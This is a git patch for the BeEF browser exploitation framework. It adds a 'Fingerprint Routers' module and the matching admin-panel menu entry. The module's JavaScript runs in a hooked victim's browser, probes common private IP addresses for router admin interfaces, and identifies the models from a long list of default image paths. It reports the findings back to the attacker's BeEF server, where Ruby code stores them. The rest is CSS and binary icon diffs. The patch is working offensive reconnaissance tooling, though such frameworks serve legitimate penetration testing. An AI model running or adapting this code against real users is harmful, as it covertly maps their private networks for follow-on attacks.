ZombieTab_Network = function(zombie) { } }); } + },{ + text: 'Discover Routers', + iconCls: 'network-host-ctxMenu-router', + handler: function() { + var mod_id = get_module_id("fingerprint_routers"); + commands_statusbar.update_sending('Scanning commonly used local area network IP addresses for routers ...'); + $jwterm.ajax({ + contentType: 'application/json', + data: JSON.stringify({}), + dataType: 'json', + type: 'POST', + url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, + async: false, + processData: false, + success: function(data){ + commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); + }, + error: function(){ + commands_statusbar.update_fail('Error sending command'); + } + }); + } },{ text: 'Discover Web Servers', iconCls: 'network-host-ctxMenu-web', diff --git a/modules/network/jslanscanner/command.js b/modules/network/jslanscanner/command.js new file mode 100644 index 000000000..a20f5a529 --- /dev/null +++ b/modules/network/jslanscanner/command.js @@ -0,0 +1,410 @@ +// +// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// +// Ported to BeEF from jslanscanner: https://code.google.com/p/jslanscanner/source/browse/trunk/lan_scan/js/lan_scan.js + +beef.execute(function() { + + if(!beef.browser.isFF() && !beef.browser.isS()){ + beef.debug("[command #<%= @command_id %>] Browser is not supported."); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser"); + } + +//------------------------------------------------------------------------------------------ +// LAN SCANNER created by Gareth Heyes (gareth at businessinfo co uk) +// Blog: www.thespanner.co.uk +// Labs site : www.businessinfo.co.uk +// Version 2.1 +//------------------------------------------------------------------------------------------ + +/* Copyright 2007 Gareth Heyes (email : gareth[at]NOSPAM businessinfo(dot)(co)(dot)uk + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +*/ + + var devices = [ + {make:'DLink',model:'dgl4100',graphic:'/html/images/dgl4100.jpg'}, + {make:'DLink',model:'dgl4300',graphic:'/html/images/dgl4300.jpg'}, + {make:'DLink',model:'di524',graphic:'/html/images/di524.jpg'}, + {make:'DLink',model:'di624',graphic:'/html/images/di624.jpg'}, + {make:'DLink',model:'di624s',graphic:'/html/images/di624s.jpg'}, + {make:'DLink',model:'di724gu',graphic:'/html/images/di724gu.jpg'}, + {make:'DLink',model:'dilb604',graphic:'/html/images/dilb604.jpg'}, + {make:'DLink',model:'dir130',graphic:'/html/images/dir130.jpg'}, + {make:'DLink',model:'dir330',graphic:'/html/images/dir330.jpg'}, + {make:'DLink',model:'dir450',graphic:'/html/images/dir450.jpg'}, + {make:'DLink',model:'dir451',graphic:'/html/images/dir451.jpg'}, + {make:'DLink',model:'dir615',graphic:'/html/images/dir615.jpg'}, + {make:'DLink',model:'dir625',graphic:'/html/images/dir625.jpg'}, + {make:'DLink',model:'dir635',graphic:'/html/images/dir635.jpg'}, + {make:'DLink',model:'dir655',graphic:'/html/images/dir655.jpg'}, + {make:'DLink',model:'dir660',graphic:'/html/images/dir660.jpg'}, + {make:'DLink',model:'ebr2310',graphic:'/html/images/ebr2310.jpg'}, + {make:'DLink',model:'kr1',graphic:'/html/images/kr1.jpg'}, + {make:'DLink',model:'tmg5240',graphic:'/html/images/tmg5240.jpg'}, + {make:'DLink',model:'wbr1310',graphic:'/html/images/wbr1310.jpg'}, + {make:'DLink',model:'wbr2310',graphic:'/html/images/wbr2310.jpg'}, + {make:'DLink',model:'dsl604',graphic:'/html/images/dsl604.jpg'}, + {make:'DLink',model:'dsl2320b',graphic:'/html/images/dsl2320b.jpg'}, + {make:'DLink',model:'dsl2540b',graphic:'/html/images/dsl2540b.jpg'}, + {make:'DLink',model:'dsl2640b',graphic:'/html/images/dsl2640b.jpg'}, + {make:'DLink',model:'dsl302g',graphic:'/html/images/dsl302g.jpg'}, + {make:'DLink',model:'dsl502g',graphic:'/html/images/dsl502g.jpg'}, + {make:'DLink',model:'dgl3420',graphic:'/html/images/dgl3420.jpg'}, + {make:'DLink',model:'dwl2100ap',graphic:'/html/images/dwl2100ap.jpg'}, + {make:'DLink',model:'dwl2130ap',graphic:'/html/images/dwl2130ap.jpg'}, + {make:'DLink',model:'dwl2200ap',graphic:'/html/images/dwl2200ap.jpg'}, + {make:'DLink',model:'dwl2230ap',graphic:'/html/images/dwl2230ap.jpg'}, + {make:'DLink',model:'dwl2700ap',graphic:'/html/images/dwl2700ap.jpg'}, + {make:'DLink',model:'dwl3200ap',graphic:'/html/images/dwl3200ap.jpg'}, + {make:'DLink',model:'dwl7100ap',graphic:'/html/images/dwl7100ap.jpg'}, + {make:'DLink',model:'dwl7130ap',graphic:'/html/images/dwl7130ap.jpg'}, + {make:'DLink',model:'dwl7200ap',graphic:'/html/images/dwl7200ap.jpg'}, + {make:'DLink',model:'dwl7230ap',graphic:'/html/images/dwl7230ap.jpg'}, + {make:'DLink',model:'dwl7700ap',graphic:'/html/images/dwl7700ap.jpg'}, + {make:'DLink',model:'dwl8200ap',graphic:'/html/images/dwl8200ap.jpg'}, + {make:'DLink',model:'dwl8220ap',graphic:'/html/images/dwl8220ap.jpg'}, + {make:'DLink',model:'dwlag132',graphic:'/html/images/dwlag132.jpg'}, + {make:'DLink',model:'dwlag530',graphic:'/html/images/dwlag530.jpg'}, + {make:'DLink',model:'dwlag660',graphic:'/html/images/dwlag660.jpg'}, + {make:'DLink',model:'dwlag700ap',graphic:'/html/images/dwlag700ap.jpg'}, + {make:'DLink',model:'dwlg120',graphic:'/html/images/dwlg120.jpg'}, + {make:'DLink',model:'dwlg122',graphic:'/html/images/dwlg122.jpg'}, + {make:'DLink',model:'dwlg132',graphic:'/html/images/dwlg132.jpg'}, + {make:'DLink',model:'dwlg510',graphic:'/html/images/dwlg510.jpg'}, + {make:'DLink',model:'dwlg520',graphic:'/html/images/dwlg520.jpg'}, + {make:'DLink',model:'dwlg520m',graphic:'/html/images/dwlg520m.jpg'}, + {make:'DLink',model:'dwlg550',graphic:'/html/images/dwlg550.jpg'}, + {make:'DLink',model:'dwlg630',graphic:'/html/images/dwlg630.jpg'}, + {make:'DLink',model:'dwlg650',graphic:'/html/images/dwlg650.jpg'}, + {make:'DLink',model:'dwlg650m',graphic:'/html/images/dwlg650m.jpg'}, + {make:'DLink',model:'dwlg680',graphic:'/html/images/dwlg680.jpg'}, + {make:'DLink',model:'dwlg700ap',graphic:'/html/images/dwlg700ap.jpg'}, + {make:'DLink',model:'dwlg710',graphic:'/html/images/dwlg710.jpg'}, + {make:'DLink',model:'dwlg730ap',graphic:'/html/images/dwlg730ap.jpg'}, + {make:'DLink',model:'dwlg820',graphic:'/html/images/dwlg820.jpg'}, + {make:'DLink',model:'wda1320',graphic:'/html/images/wda1320.jpg'}, + {make:'DLink',model:'wda2320',graphic:'/html/images/wda2320.jpg'}, + {make:'DLink',model:'wna1330',graphic:'/html/images/wna1330.jpg'}, + {make:'DLink',model:'wna2330',graphic:'/html/images/wna2330.jpg'}, + {make:'DLink',model:'wua1340',graphic:'/html/images/wua1340.jpg'}, + {make:'DLink',model:'wua2340',graphic:'/html/images/wua2340.jpg'}, + {make:'DLink',model:'DSL502T',graphic:'/html/images/help_p.jpg'}, + {make:'DLink',model:'DSL524T',graphic:'/html/images/device.gif'}, + {make:'Netgear',model:'CG814WG',graphic:'/images/../settingsCG814WG.gif'}, + {make:'Netgear',model:'CM212',graphic:'/images/../settingsCM212.gif'}, + {make:'Netgear',model:'DG632',graphic:'/images/../settingsDG632.gif'}, + {make:'Netgear',model:'DG632B',graphic:'/images/../settingsDG632B.gif'}, + {make:'Netgear',model:'DG814',graphic:'/images/../settingsDG814.gif'}, + {make:'Netgear',model:'DG824M',graphic:'/images/../settingsDG824M.gif'}, + {make:'Netgear',model:'DG834',graphic:'/images/../settingsDG834.gif'}, + {make:'Netgear',model:'DG834B',graphic:'/images/../settingsDG834B.gif'}, + {make:'Netgear',model:'DG834G',graphic:'/images/../settingsDG834G.gif'}, + {make:'Netgear',model:'DG834GB',graphic:'/images/../settingsDG834GB.gif'}, + {make:'Netgear',model:'DG834GT',graphic:'/images/../settingsDG834GT.gif'}, + {make:'Netgear',model:'DG834GTB',graphic:'/images/../settingsDG834GTB.gif'}, + {make:'Netgear',model:'DG834GV',graphic:'/images/../settingsDG834GV.gif'}, + {make:'Netgear',model:'dg834N',graphic:'/images/../settingsdg834N.gif'}, + {make:'Netgear',model:'DG834PN',graphic:'/images/../settingsDG834PN.gif'}, + {make:'Netgear',model:'DGFV338',graphic:'/images/../settingsDGFV338.gif'}, + {make:'Netgear',model:'DM111P',graphic:'/images/../settingsDM111P.gif'}, + {make:'Netgear',model:'DM602',graphic:'/images/../settingsDM602.gif'}, + {make:'Netgear',model:'FM114P',graphic:'/images/../settingsFM114P.gif'}, + {make:'Netgear',model:'FR114P',graphic:'/images/../settingsFR114P.gif'}, + {make:'Netgear',model:'FR114W',graphic:'/images/../settingsFR114W.gif'}, + {make:'Netgear',model:'FR314',graphic:'/images/../settingsFR314.gif'}, + {make:'Netgear',model:'FR318',graphic:'/images/../settingsFR318.gif'}, + {make:'Netgear',model:'FR328S',graphic:'/images/../settingsFR328S.gif'}, + {make:'Netgear',model:'FV318',graphic:'/images/../settingsFV318.gif'}, + {make:'Netgear',model:'FVG318',graphic:'/images/../settingsFVG318.gif'}, + {make:'Netgear',model:'FVL328',graphic:'/images/../settingsFVL328.gif'}, + {make:'Netgear',model:'FVM318',graphic:'/images/../settingsFVM318.gif'}, + {make:'Netgear',model:'FVS114',graphic:'/images/../settingsFVS114.gif'}, + {make:'Netgear',model:'FVS124G',graphic:'/images/../settingsFVS124G.gif'}, + {make:'Netgear',model:'FVS318',graphic:'/images/../settingsFVS318.gif'}, + {make:'Netgear',model:'FVS328',graphic:'/images/../settingsFVS328.gif'}, + {make:'Netgear',model:'FVS338',graphic:'/images/../settingsFVS338.gif'}, + {make:'Netgear',model:'FVX538',graphic:'/images/../settingsFVX538.gif'}, + {make:'Netgear',model:'FWAG114',graphic:'/images/../settingsFWAG114.gif'}, + {make:'Netgear',model:'FWG114P',graphic:'/images/../settingsFWG114P.gif'}, + {make:'Netgear',model:'GA302T',graphic:'/images/../settingsGA302T.gif'}, + {make:'Netgear',model:'GA311',graphic:'/images/../settingsGA311.gif'}, + {make:'Netgear',model:'GA511',graphic:'/images/../settingsGA511.gif'}, + {make:'Netgear',model:'GA620',graphic:'/images/../settingsGA620.gif'}, + {make:'Netgear',model:'GA621',graphic:'/images/../settingsGA621.gif'}, + {make:'Netgear',model:'GA622T',graphic:'/images/../settingsGA622T.gif'}, + {make:'Netgear',model:'HE102',graphic:'/images/../settingsHE102.gif'}, + {make:'Netgear',model:'HR314',graphic:'/images/../settingsHR314.gif'}, + {make:'Netgear',model:'JFS516',graphic:'/images/../settingsJFS516.gif'}, + {make:'Netgear',model:'JFS524',graphic:'/images/../settingsJFS524.gif'}, + {make:'Netgear',model:'JFS524F',graphic:'/images/../settingsJFS524F.gif'}, + {make:'Netgear',model:'JGS516',graphic:'/images/../settingsJGS516.gif'}, + {make:'Netgear',model:'JGS524',graphic:'/images/../settingsJGS524.gif'}, + {make:'Netgear',model:'JGS524F',graphic:'/images/../settingsJGS524F.gif'}, + {make:'Netgear',model:'KWGR614',graphic:'/images/../settingsKWGR614.gif'}, + {make:'Netgear',model:'ME101',graphic:'/images/../settingsME101.gif'}, + {make:'Netgear',model:'ME102',graphic:'/images/../settingsME102.gif'}, + {make:'Netgear',model:'ME103',graphic:'/images/../settingsME103.gif'}, + {make:'Netgear',model:'MR314',graphic:'/images/../settingsMR314.gif'}, + {make:'Netgear',model:'MR814',graphic:'/images/../settingsMR814.gif'}, + {make:'Netgear',model:'RH340',graphic:'/images/../settingsRH340.gif'}, + {make:'Netgear',model:'RH348',graphic:'/images/../settingsRH348.gif'}, + {make:'Netgear',model:'RM356',graphic:'/images/../settingsRM356.gif'}, + {make:'Netgear',model:'RO318',graphic:'/images/../settingsRO318.gif'}, + {make:'Netgear',model:'RP114',graphic:'/images/../settingsRP114.gif'}, + {make:'Netgear',model:'RP334',graphic:'/images/../settingsRP334.gif'}, + {make:'Netgear',model:'RP614',graphic:'/images/../settingsRP614.gif'}, + {make:'Netgear',model:'RT311',graphic:'/images/../settingsRT311.gif'}, + {make:'Netgear',model:'RT314',graphic:'/images/../settingsRT314.gif'}, + {make:'Netgear',model:'RT328',graphic:'/images/../settingsRT328.gif'}, + {make:'Netgear',model:'RT338',graphic:'/images/../settingsRT338.gif'}, + {make:'Netgear',model:'WAB102',graphic:'/images/../settingsWAB102.gif'}, + {make:'Netgear',model:'WAG102',graphic:'/images/../settingsWAG102.gif'}, + {make:'Netgear',model:'WAG302',graphic:'/images/../settingsWAG302.gif'}, + {make:'Netgear',model:'WAGL102',graphic:'/images/../settingsWAGL102.gif'}, + {make:'Netgear',model:'WAGR614',graphic:'/images/../settingsWAGR614.gif'}, + {make:'Netgear',model:'WG102',graphic:'/images/../settingsWG102.gif'}, + {make:'Netgear',model:'WG111',graphic:'/images/../settingsWG111.gif'}, + {make:'Netgear',model:'WG111T',graphic:'/images/../settingsWG111T.gif'}, + {make:'Netgear',model:'WG302',graphic:'/images/../settingsWG302.gif'}, + {make:'Netgear',model:'WG311',graphic:'/images/../settingsWG311.gif'}, + {make:'Netgear',model:'WG602',graphic:'/images/../settingsWG602.gif'}, + {make:'Netgear',model:'WGE101',graphic:'/images/../settingsWGE101.gif'}, + {make:'Netgear',model:'WGE111',graphic:'/images/../settingsWGE111.gif'}, + {make:'Netgear',model:'WGL102',graphic:'/images/../settingsWGL102.gif'}, + {make:'Netgear',model:'WGM124',graphic:'/images/../settingsWGM124.gif'}, + {make:'Netgear',model:'WGR101',graphic:'/images/../settingsWGR101.gif'}, + {make:'Netgear',model:'WGR614',graphic:'/images/../settingsWGR614.gif'}, + {make:'Netgear',model:'WGT624',graphic:'/images/../settingsWGT624.gif'}, + {make:'Netgear',model:'WGT624SC',graphic:'/images/../settingsWGT624SC.gif'}, + {make:'Netgear',model:'WGT634U',graphic:'/images/../settingsWGT634U.gif'}, + {make:'Netgear',model:'WGU624',graphic:'/images/../settingsWGU624.gif'}, + {make:'Netgear',model:'WGX102',graphic:'/images/../settingsWGX102.gif'}, + {make:'Netgear',model:'WN121T',graphic:'/images/../settingsWN121T.gif'}, + {make:'Netgear',model:'WN311B',graphic:'/images/../settingsWN311B.gif'}, + {make:'Netgear',model:'WN311T',graphic:'/images/../settingsWN311T.gif'}, + {make:'Netgear',model:'WN511B',graphic:'/images/../settingsWN511B.gif'}, + {make:'Netgear',model:'WN511T',graphic:'/images/../settingsWN511T.gif'}, + {make:'Netgear',model:'WN802T',graphic:'/images/../settingsWN802T.gif'}, + {make:'Netgear',model:'WNR834B',graphic:'/images/../settingsWNR834B.gif'}, + {make:'Netgear',model:'WNR834M',graphic:'/images/../settingsWNR834M.gif'}, + {make:'Netgear',model:'WNR854T',graphic:'/images/../settingsWNR854T.gif'}, + {make:'Netgear',model:'WPN802',graphic:'/images/../settingsWPN802.gif'}, + {make:'Netgear',model:'WPN824',graphic:'/images/../settingsWPN824.gif'}, + {make:'Netgear',model:'XM128',graphic:'/images/../settingsXM128.gif'}, + {make:'Thomson',model:'Cable Modem A801',graphic:'/images/thomson.gif'}, + {make:'Vigor',model:'2600V',graphic:'/images/logo1.jpg'}, + {make:'Linksys',model:'WRT54GL',graphic:'/WRT56GL.gif'}, + {make:'Linksys',model:'WRT54GC',graphic:'/UI_Linksys.gif'}, + {make:'Linksys',model:'WRT54G',graphic:'/WRT54G.gif'}, + {make:'Linksys',model:'WRT54GS',graphic:'/UILinksys.gif'}, + {make:'ZyXEL',model:'Prestige 660H61',graphic:'/dslroutery/imgshop/full/NETZ1431.jpg'}, + {make:'ZyXEL',model:'Zywall',graphic:'/images/Logo.gif'}, + {make:'Sitecom',model:'WL114',graphic:'/slogo.gif'}, + {make:'2Wire',model:'1000 Series',graphic:'/base/web/def/def/images/nav_sl_logo.gif'}, + {make:'SurfinBird',model:'313',graphic:'/images/help_p.gif'}, + {make:'SMC',model:'7004ABR',graphic:'/images/logo.gif'}, + {make:'DLink',model:'DI524',graphic:'/m524.gif'}, + {make:'Cisco',model:'2600',graphic:'/images/logo.png'}, + {make:'ASUS',model:'RT Series',graphic:'/images/EZSetup_button.gif'} + ]; + + // No signatures for commented out IPs + var ips = [ + {ip:'192.168.1.30',make:'DLink'}, + {ip:'192.168.1.50',make:'DLink'}, + {ip:'192.168.2.1',make:'SMC'}, + //{ip:'192.168.2.1',make:'Accton'}, + //{ip:'192.168.1.1',make:'3Com'}, + //{ip:'192.168.1.1',make:'AirLink'}, + //{ip:'192.168.1.1',make:'Arescom'}, + //{ip:'192.168.1.1',make:'Teletronics'}, + //{ip:'192.168.1.1',make:'Dell'}, + {ip:'192.168.1.1',make:'DLink'}, + {ip:'192.168.1.1',make:'Linksys'}, + {ip:'192.168.1.1',make:'ZyXEL'}, + {ip:'192.168.1.1',make:'ASUS'}, + {ip:'192.168.0.1',make:'DLink'}, + {ip:'192.168.0.1',make:'Netgear'}, + {ip:'192.168.0.1',make:'Linksys'}, + {ip:'192.168.0.1',make:'SurfinBird'}, + {ip:'192.168.0.1',make:'ASUS'}, + {ip:'192.168.0.227',make:'Netgear'}, + {ip:'192.168.0.254',make:'DLink'}, + {ip:'192.168.1.225',make:'Linksys'}, + {ip:'192.168.1.226',make:'Linksys'}, + {ip:'192.168.1.245',make:'Linksys'}, + {ip:'192.168.1.246',make:'Linksys'}, + {ip:'192.168.1.251',make:'Linksys'}, + {ip:'192.168.100.1',make:'Thomson'}, + {ip:'192.168.1.254',make:'ZyXEL'}, + {ip:'192.168.1.254',make:'2Wire'}, + {ip:'192.168.0.1',make:'Vigor'}, + {ip:'192.168.123.254',make:'Sitecom'}, + //{ip:'10.0.1.1',make:'Apple'}, + {ip:'10.1.1.1',make:'DLink'}, + {ip:'10.0.0.1',make:'ZyXEL'}, + //{ip:'10.0.0.2',make:'Aceex'}, + //{ip:'10.0.0.2',make:'Bausch'}, + //{ip:'10.0.0.2',make:'E-Tech'}, + //{ip:'10.0.0.2',make:'JAHT'}, + {ip:'192.168.1.254',make:'2Wire'}, + {ip:'192.168.65.1',make:'Cisco'} + //{ip:'192.168.100.1',make:'Motorola'}, + //{ip:'192.168.100.1',make:'Ambit'}, + ]; + + var guesses = [ + {host:'10.1.1.1',label:'Device',labelText:'DLink',port:80}, + {host:'10.0.0.1',label:'Device',labelText:'ZyXEL',port:80}, + {host:'10.0.0.2',label:'Device',labelText:'Aceex,Bausch,E-Tech,JAHT',port:80}, + {host:'10.0.0.138',label:'Device',labelText:'Alcatel',port:80}, + {host:'10.0.1.1',label:'Device',labelText:'Apple',port:80}, + {host:'192.168.0.1',label:'Device',labelText:'DLink,Netgear,ASUS,Linksys,Sitecom,Belkin',port:80}, + {host:'192.168.0.227',label:'Device',labelText:'Netgear',port:80}, + {host:'192.168.0.254',label:'Device',labelText:'DLink,Sitecom/Linux IP Cop',port:80}, + {host:'192.168.1.1',label:'Device',labelText:'3Com,AirLink,Linksys,Arescom,ASUS,Dell,DLink,ZyXEL,Teletronics',port:80}, + {host:'192.168.1.30',label:'Device',labelText:'DLink',port:80}, + {host:'192.168.1.50',label:'Device',labelText:'DLink,Linksys',port:80}, + {host:'192.168.1.225',label:'Device',labelText:'Linksys',port:80}, + {host:'192.168.1.226',label:'Device',labelText:'Linksys',port:80}, + {host:'192.168.1.245',label:'Device',labelText:'Linksys',port:80}, + {host:'192.168.1.246',label:'Device',labelText:'Linksys',port:80}, + {host:'192.168.1.251',label:'Device',labelText:'Linksys',port:80}, + {host:'192.168.1.254',label:'Device',labelText:'ZyXEL',port:80}, + {host:'192.168.2.1',label:'Device',labelText:'Accton,Belkin,Microsoft,SMC',port:80}, + {host:'192.168.2.25',label:'Device',labelText:'SMC',port:80}, + {host:'192.168.8.1',label:'Device',labelText:'Aceex',port:80}, + {host:'192.168.11.1',label:'Device',labelText:'Buffalo',port:80}, + {host:'192.168.62.1',label:'Device',labelText:'Canyon',port:80}, + {host:'192.168.100.1',label:'Device',labelText:'Ambit,Thomson,Motorola',port:80}, + {host:'192.168.123.254',label:'Device',labelText:'US Robotics',port:80}, + {host:'192.168.123.254',label:'Device',labelText:'Sitecom',port:80}, + {host:'192.168.254.254',label:'Device',labelText:'Flowpoint',port:80}, + {host:'192.168.254.1',label:'Device',labelText:'BT M5861,2Wire',port:80} + ]; + + lanScanner = {timeout:1,probes:0}; + //lol pardon the innuendo + lanScanner.handleProbe = function(portObj) { + if(portObj.init == 1) { + lanScanner.addDevice({host:portObj.host,make:portObj.make,model:portObj.model}); + document.body.removeChild(portObj); + } + } + // ie sucks! onload doesn't work unless specified directly in the document + // that's why I have to do this :( + lanScanner.handleConnection = function(portObj) { + if(portObj.init == 1) { + if(beef.browser.isIE()) { + portObj.end = new Date().getTime(); + if(portObj.end - portObj.start > 15000) { + document.body.removeChild(portObj); + return false; + } + } + var obj = portObj.store; + obj.status = 'Open'; + lanScanner.addHost(obj); + document.body.removeChild(portObj); + } else { + portObj.start = new Date().getTime(); + } + } + lanScanner.runScan = function() { + var obj, portObj; + guessesLen = guesses.length; + for(var i=0;i", <%= @command_id %>, 'proto=http&ip='+obj.host+'&port='+obj.port+'&service='+this.getPortName(obj.port)); + lanScanner.fingerPrint(obj.host); + } + lanScanner.addDevice = function(obj) { + beef.debug("[JS LAN Scanner] Found " + obj.make + ' ' + obj.model + ' [ip: ' + obj.host + ']'); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'ip='+obj.host+'&device='+obj.make+' '+obj.model); + } + lanScanner.destroyConnections = function() { + var guessesLen = guesses.length; + for(var f=0;f", <%= @command_id %>, "Starting scan ("+guessesLen+" IPs)"); + lanScanner.runScan(); + //lanScanner.destroyConnections(); +}); + diff --git a/modules/network/jslanscanner/config.yaml b/modules/network/jslanscanner/config.yaml new file mode 100644 index 000000000..8557f190f --- /dev/null +++ b/modules/network/jslanscanner/config.yaml @@ -0,0 +1,18 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# Ported to BeEF from JsLanScanner: https://code.google.com/p/jslanscanner/source/browse/trunk/lan_scan/js/lan_scan.js +# +beef: + module: + fingerprint_routers: + enable: true + category: "Network" + name: "Fingerprint Routers" + description: "This module attempts to discover network routers on the local network of the hooked browser. It scans for web servers on IP addresses commonly used by routers. It uses a signature based approach - based on default image paths for known network devices - to determine if the web server is a router web interface.

      Ported to BeEF from JsLanScanner.

      Note: The user may see authentication popups in the event any of the target IP addresses are using HTTP authentication." + authors: ["Gareth Heyes"] + target: + user_notify: ["FF", "S"] + not_working: ["C", "IE"] diff --git a/modules/network/jslanscanner/module.rb b/modules/network/jslanscanner/module.rb new file mode 100644 index 000000000..0352c31ae --- /dev/null +++ b/modules/network/jslanscanner/module.rb @@ -0,0 +1,47 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# + +class Fingerprint_routers < BeEF::Core::Command + + def self.options + return [ + ] + end + + def post_execute + content = {} + content['results'] = @datastore['results'] if not @datastore['results'].nil? + save content + + configuration = BeEF::Core::Configuration.instance + if configuration.get("beef.extension.network.enable") == true + if @datastore['results'] =~ /^proto=(.+)&ip=(.+)&port=([\d]+)&service=(.+)/ + proto = $1 + ip = $2 + port = $3 + service = $4 + session_id = @datastore['beefhook'] + cid = @datastore['cid'].to_i + if !ip.nil? + print_debug("Hooked browser found network service " + service + " [proto: #{proto}, ip: #{ip}, port: #{port}]") + r = BeEF::Core::Models::NetworkService.new(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => service, :cid => cid) + r.save + end + elsif @datastore['results'] =~ /^ip=(.+)&device=(.+)/ + ip = $1 + device = $2 + session_id = @datastore['beefhook'] + cid = @datastore['cid'].to_i + if !ip.nil? + print_debug("Hooked browser found network device " + device + " [ip: #{ip}]") + r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :type => device, :cid => cid) + r.save + end + end + end + + end +end From fef015709b015e75d622339b5e111a4c39c43c7c Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Fri, 30 Jan 2015 22:10:48 +0000 Subject: [PATCH 14/19] Update context menu --- extensions/admin_ui/media/css/base.css | 12 ++++++++++++ .../admin_ui/media/images/icons/adapter.png | Bin 1458 -> 1242 bytes .../admin_ui/media/images/icons/cors.png | Bin 1514 -> 1561 bytes .../admin_ui/media/images/icons/magnifier.png | Bin 13582 -> 1560 bytes extensions/admin_ui/media/images/icons/pc.png | Bin 2521 -> 1806 bytes .../admin_ui/media/images/icons/router.png | Bin 0 -> 1057 bytes .../admin_ui/media/images/icons/tools.png | Bin 0 -> 2315 bytes .../admin_ui/media/images/icons/web.png | Bin 32569 -> 1697 bytes .../ui/panel/tabs/ZombieTabNetwork.js | 8 ++++---- 9 files changed, 16 insertions(+), 4 deletions(-) create mode 100644 extensions/admin_ui/media/images/icons/router.png create mode 100644 extensions/admin_ui/media/images/icons/tools.png diff --git a/extensions/admin_ui/media/css/base.css b/extensions/admin_ui/media/css/base.css index 20d817c36..6c7f85b26 100644 --- a/extensions/admin_ui/media/css/base.css +++ b/extensions/admin_ui/media/css/base.css @@ -96,6 +96,12 @@ /* * Network Panel ****************************************/ +.network-host-ctxMenu-config { + background-image: url(../images/icons/tools.png); + background-size: 16px 16px; + background-repeat: no-repeat; +} + .network-host-ctxMenu-host { background-image: url(../images/icons/pc.png); background-size: 16px 16px; @@ -120,6 +126,12 @@ background-repeat: no-repeat; } +.network-host-ctxMenu-router { + background-image: url(../images/icons/router.png); + background-size: 16px 16px; + background-repeat: no-repeat; +} + .network-host-ctxMenu-fingerprint { background-image: url(../images/icons/magnifier.png); background-size: 16px 16px; diff --git a/extensions/admin_ui/media/images/icons/adapter.png b/extensions/admin_ui/media/images/icons/adapter.png index f90357942d6f1bb04fd7cbcd48a56c62c3101749..43b7a63ea23445db7122a0650cf730994b5a8194 100644 GIT binary patch delta 1223 zcmV;&1UUP$3)%^gBYyxHbVXQnQ*UN;cVTj606}DLVr3vnZDD6+Qe|Oed2z{QJOBU$ zd`Uz>RCwC#S6gUYMHv3h%$&2AY&OPhjA$jn8-1{dH36>=Dqfn_)(25hQ9-IA7$~Su zwl2me5n4foQWQay;)__46l+C-6Xr|rhmITfB$9X7*a~KvM{u`{13pOYGt$8S~NiaW7Mo{B#1VuS5w_e!j(sMZlrKQ z)uCFXYKCLxMgv$0tNAZ*LZh_+SPO!pK_YJf08!uZDJ|bLbVE*%I~f0cmk^C} zJ{HP(eD=);+B!AQg-4(?RkSH)nJ`Tr$ZZCIis$+8ecEG44LCxk?mRl4Xa=6V`$a8_ zO1u#O{i+}Oj#mKl2#0ly}KK^&of}mK!5M!WlVjN(o=m;EaU8_DX5$E zsz-`=_=;hiKJzQBV+6v`K!WVkOqgku-q1IjaG z7bnorv`BjksdT#rV479LQ}Ga+jTq^o1c{iy;?g|Ej*ZY7I$qI0-web7dO1>%2bHFcOG~Sl}O|sj{m=Dg;NdSRz0% z2m%l>z-Yc$T7n>}*F3v<6eJRD+C!a+OHsR3{jS}K(^TRilaz(p9AXk4UCtPp^v41ct@r!;`Yi#7=pxP0dYy^!-Hq!L7F zqUXV-Fe;KrXW9b*Ofe(^0K!6v7*I~D^Gb-oAc7P#{8|N|)|`Qbd`^d;K#YKJbaW?z z{W1`uIvw4qD4GyCIaA{g&ChZQ&y& zD(1kRTaM1<3+OT#<_h!ZBkyi#DfDJ@1@w~R&C)uP`s4e5*tKPt~r!aV~o!JDl5>-Mcw_A+6@8f#>@_LQ>r35EJq*9+;-e2NmbU#KFlu z{kw18FO&QZwM*YF74N%=LzBXNkldu-EH6vw~)^|7{FJG-zkQHBE_h$x20BOz+y zwszAn*wzkARQzMc#KfR5Fh-0R@ejj5iT`L^!plU~jg5_H_cT#M!ov^|L=Q*|r?bxOa8%;V_h&(&5PGW+yfC?4=!(ad6M&NdHq50z z^(6psy6yG~{C{xn0<>B!bUK~*G6<)|sz+K@AqTLgNxDF*r*I(U0FGPyL<&^vk5k<73t|l+JBXVk&zI-`{q3?U-1Ucp7{W4 zp4cGWHy&Yb!5BJ`;2+d7O0oJXYvYyyIB2aBhtEF)Syn zEJqL~ZFRL$2)xLhI~T`~wUV0Ih8?fb2PQ zQUe$m7!Uxq;$q5ti`Z2v!rt)2{Dt`<1YBfdQJ5tRT!auSOdNvl-@DP- z*?*3qp&{W-MF4emb?&mVGWdK$;`r6n>_I0LBL2-)F)uF@&es)WNt&2HyKd2xv*w^^UYl82Tg1i1LqMJhgD(QO*50}R9A zNGER|qe`dw$a>PwW2#k!x0aTKTs+%4)yZ4~IqeCR*Ou~t0Eh<9wwyjh(X}lbr0MP3}n}5T` zjT@B#1cRX|vF1fJnwb}#E@5&#!%WT%olct?0N3)V$u{viN)&>L@ANlt*vdMqOoQ?fo2w!NK6h1f5YT%&iH78hb-GsaXV2}RaJ%rZ$cAk9_buX zO_B|1w^YCB+P}XRp1=D`s2xgT&wo$xo1{HR@G9m-4W#-R{x)4K+uwTs(xF2K(0lFj 